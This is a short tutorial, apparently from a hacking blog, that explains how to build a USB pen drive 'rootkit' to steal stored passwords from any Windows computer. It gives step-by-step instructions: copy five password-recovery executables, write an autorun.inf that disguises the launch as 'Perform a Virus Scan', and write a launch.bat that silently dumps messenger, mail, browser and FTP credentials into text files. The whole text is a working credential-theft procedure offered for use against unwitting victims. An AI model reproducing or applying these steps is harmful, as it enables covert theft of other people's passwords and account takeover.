I recently came to know that windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP.

FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passwords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. W need the following tools to create our own rootkit.

Here is a step by step procedure to create the password hacking toolkit.

1. Download all the 5 tools, extract them and copy only the executable (.exe files) into your USB Pen Drive. Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it
ACTION=Perform a Virus Scan

Save the Notepad and rename it as autorun.inf. Now copy the autorun.inf file onto your USB pen drive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

Save the Notepad and rename it to launch.bat. Copy the launch.bat file also to your USB drive. Now your rootkit is ready and you are all set to sniff the passwords. You can use this pen drive on any computer to sniff the stored passwords. Just follow these steps:

  • Insert the pen drive and the autorun windows will pop-up. (This is because; we have created an autorun pen drive).
  • In the pop-up window, select the first option ("Perform a Virus Scan". This function can be changed in the previous step).
  • Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
  • Remove the pen drive and you'll see the passwords in the .TXT files.
  • This hack works on Windows 2000, XP and Vista
This procedure will only recover the stored passwords (if any) on the Computer.
